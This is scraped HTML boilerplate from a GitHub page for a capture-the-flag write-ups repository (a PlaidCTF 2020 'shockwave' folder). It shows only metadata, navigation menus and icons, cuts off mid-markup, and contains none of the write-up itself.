master · perfectblue/ctf-writeups" /><meta property="og:url" content="https://github.com/perfectblue/ctf-writeups" /><meta property="og:description" content="Perfect Blue's CTF Writeups. Contribute to perfectblue/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/perfectblue/ctf-writeups git https://github.com/perfectblue/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="41891886" /><meta name="octolytics-dimension-user_login" content="perfectblue" /><meta name="octolytics-dimension-repository_id" content="133306580" /><meta name="octolytics-dimension-repository_nwo" content="perfectblue/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="133306580" /><meta name="octolytics-dimension-repository_network_root_nwo" content="perfectblue/ctf-writeups" /> <link rel="canonical" href="https://github.com/perfectblue/ctf-writeups/tree/master/2020/plaidctf-2020/shockwave" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="133306580" data-scoped-search-url="/perfectblue/ctf-writeups/search" data-owner-scoped-search-url="/orgs/perfectblue/search" data-unscoped-search-url="/search" data-turbo="false" action="/perfectblue/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="jTlvqpGyA3sQYWD1QPBxf/eJ1IEhNS25tuey6Di/unS33B8inLi5iJ3L6WaH/EX3s2gYDlh8bMa1L/JatevwdQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 